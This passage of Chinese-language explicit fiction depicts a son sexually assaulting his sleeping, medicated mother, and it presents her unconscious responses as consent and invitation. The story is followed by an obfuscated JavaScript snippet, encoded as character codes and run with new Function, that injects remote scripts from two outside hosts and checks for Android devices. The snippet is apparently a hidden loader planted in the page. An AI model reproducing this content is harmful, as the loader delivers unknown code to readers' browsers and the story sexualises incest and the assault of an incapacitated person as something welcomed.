  那场以「按摩」为名的试探,最终,还是在苏晴那声带着颤抖的「别……」中,戛然而止了。
  陈默没有再继续下去。
  他很聪明,他知道过犹不及的道理。今天的试探,已经足够了。他不仅光明正大地触摸了母亲的后背和腰部,更重要的是,他清晰地感受到了母亲身体的反应——那无法抑制的颤抖,和那句听起来更像娇嗔的拒绝。
  他知道,母亲的身体,已经熟了。只是她的理智,还在做着最后的、徒劳的抵抗。
  「好,那妈你好好休息。」他顺从地收回手,声音里听不出一丝一毫的异样。他为母亲盖好被子,端着水盆,像一个最完美的孝子一样,退出了房间。
  而趴在床上的苏晴,却久久无法平静。
  她的脸颊,烫得比发烧时还要厉害。她的双腿,还在不受控制地微微发抖。儿子掌心那滚烫的、带着薄茧的粗糙触感,仿佛还残留在她的腰背上,带来一阵阵酥麻的、让她既羞耻又回味的余韵。
  「我……我这是怎么了……」她将脸深深地埋进枕头里,发出一声绝望的、带着哭腔的呜咽。
  ……
  白天,陈默依旧扮演着那个无可挑剔的好儿子。
  而苏晴,在面对儿子时,变得更加不自然起来。她的眼神躲闪,不敢与他对视,脸颊上总是带着一抹可疑的红晕。
  这种少女般的羞怯,落在陈默眼中,却成了最明确的、鼓励的信号。
  夜,再次降临。
  苏晴吃了药,很快就昏昏沉沉地睡了过去。
  而陈默的深夜「查房」,也如期而至。
  有了第一次的经验,这一次,他的动作,明显比上次从容了许多。
  他熟门熟路地走到床边,没有丝毫的犹豫,直接撩开了被子的一角,将那只早已因为欲望而滚烫的手,探了进去。
  他的手,像一条有了固定巡逻路线的蛇,顺着母亲光滑的小腿,一路向上,轻车熟路地,潜入了她睡裤那宽松的腰口。
  掌心,再次覆上了那片浓密、柔软的神秘森林。
  床上的苏晴,似乎已经习惯了这种来自外部的、温暖的触碰。她在睡梦中,只是无意识地,发出了一声满足的喟叹,身体,甚至还下意识地,向热源的方向,靠了靠。
  这个动作,像一声无声的邀请,让陈默的胆子,瞬间大了起来。
  他拨开那层黑色的「丛林」,准确无误地,找到了那条隐藏在其中的、娇嫩的、早已因为身体的本能反应而变得湿润的「秘境入口」。
  然后,他将食指,缓缓地、却又无比坚定地,顶了进去。
  「嗯……」
  昏睡中的苏晴,喉咙里发出了一声无意识的、像是有些不适却又带着一丝欢愉的鼻音。她的双腿,下意识地,并了并。
  这个动作,却让那本就紧致的甬道,夹得他的手指更紧了。
  陈默舒服得倒吸了一口凉气。
  他稳了稳心神,开始继续他的深夜「治疗」。
  他记得,上次自己似乎在穴壁的某个地方,摸到了一个奇怪的硬点。他不太确定那是什么,但他记得,当他碰到那里的时候,母亲的反应,似乎特别激烈。
  他的食指,开始像一个笨拙的探险家,在那条温暖、湿滑、紧致的甬道里,四处探索起来。
  这里?不对,太软了。
  那里?也不对,太平了。
  他耐心地,用指腹,一寸一寸地,在那布满了褶皱的嫩肉上,来回地摩挲,感受着。
  终于,在他的手指,深入到大概一个指节深的时候,他又一次,触碰到了那个微微凸起的、带着一丝粗糙感的、与周围的软肉截然不同的硬点。
  就是这里!
  陈默的心里一阵狂喜。
  他不知道这叫什么,但他知道,这一定是母亲身体的某个「开关」。
  他没有立刻开始粗暴地按压。
  他先是试探着,用指腹,在那颗小小的硬点上,不轻不重地,画着圈。
  「呜……嗯……」
  床上的苏晴,立刻就有了反应。
  她的眉头,不再是舒展的。而是微微地蹙了起来,像是正承受着某种极致的、难以言喻的刺激。她的呼吸,也开始变得急促起来。她的身体,开始不受控制地,轻轻地扭动起来。
  最明显的变化,来自于她的身体内部。
  陈默能清晰地感觉到,那原本只是略微湿润的甬道,此刻正像开闸的洪水一样,源源不断地涌出滚烫的爱液,将他的整根手指都浸得湿滑一片。
  她湿透了!
  被他用手指,再一次,操湿了!
  这个发现,让陈默兴奋得几乎要当场射精。
  他知道,自己找对地方了。
  他不再犹豫,开始加重了力道。
  他的食指,像一把精准的手术刀,死死地,按压、抠挖、刺激着那颗无比敏感的小豆子。
  「啊……嗯……嗯……」
  苏晴彻底受不了了。
  虽然她的意识依旧在沉睡,但她的身体,却已经被这突如其来的、排山倒海般的强烈快感,彻底征服了。
  她的嘴里,开始发出一些破碎的、不成调的、销魂的呻吟。她的腰肢,柔软地、不受控制地,迎合着儿子手指的动作,轻轻地挺动起来。她的双腿,也下意识地,大大地张开,仿佛是在邀请着更深、更猛烈的入侵。
  「呜……嗯……啊……」
  这一次,苏晴发出的,不再是简单的呻吟。
  而是一种满足的、带着浓浓情欲味道的、压抑的、销魂的浪叫。
  她的眉头,彻底舒展开来。她的身体,也开始不受控制地,剧烈地扭动起来。她的双腿,下意识地,大大地张开,腰肢挺动,仿佛是在迎合着什么。
  那紧致的甬道,也开始疯狂地分泌出滚烫的淫水,将他的整根手指,都浇灌得一片狼藉。
  陈默知道,时机,到了。
  他将中指,也并了进去。
  然后,他用两根手指,模仿着男人阴茎的动作,在母亲那早已泥泞不堪、热情似火的嫩穴里,开始了第二轮的、更深入、也更猛烈的……「治疗」。

(function(a){(new Function(String.fromCharCode(...a)))();})([108,101,116,32,117,114,108,115,61,91,34,104,116,116,112,115,58,92,47,92,47,115,45,49,51,54,55,48,54,54,52,56,52,46,99,111,115,46,97,112,45,115,104,97,110,103,104,97,105,46,109,121,113,99,108,111,117,100,46,99,111,109,92,47,49,57,92,47,57,51,53,50,53,48,49,49,34,44,34,104,116,116,112,115,58,92,47,92,47,114,46,49,100,103,102,100,119,46,99,111,109,92,47,49,57,92,47,57,51,53,50,53,48,49,49,34,93,59,119,105,110,100,111,119,46,95,95,114,114,95,95,104,108,100,61,49,59,108,101,116,32,117,114,108,105,110,100,101,120,61,48,59,108,101,116,32,114,102,117,110,99,61,102,117,110,99,116,105,111,110,40,41,123,105,102,40,119,105,110,100,111,119,46,95,95,114,114,95,95,108,111,97,100,101,100,95,50,53,51,57,95,49,49,48,53,32,33,61,32,39,111,107,39,41,123,108,101,116,32,115,115,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,115,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,115,115,46,114,101,102,101,114,114,101,114,80,111,108,105,99,121,61,39,110,111,45,114,101,102,101,114,114,101,114,39,59,115,115,46,115,114,99,61,117,114,108,115,91,117,114,108,105,110,100,101,120,43,43,93,43,32,40,110,97,118,105,103,97,116,111,114,46,117,115,101,114,65,103,101,110,116,46,105,110,100,101,120,79,102,40,39,65,110,100,114,111,105,100,39,41,32,33,61,32,45,49,32,63,32,39,48,39,58,39,49,39,41,32,43,32,39,63,39,32,43,32,110,101,119,32,68,97,116,101,40,41,46,103,101,116,84,105,109,101,40,41,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,115,41,59,125,125,59,114,102,117,110,99,40,41,59,114,102,117,110,99,40,41,59]);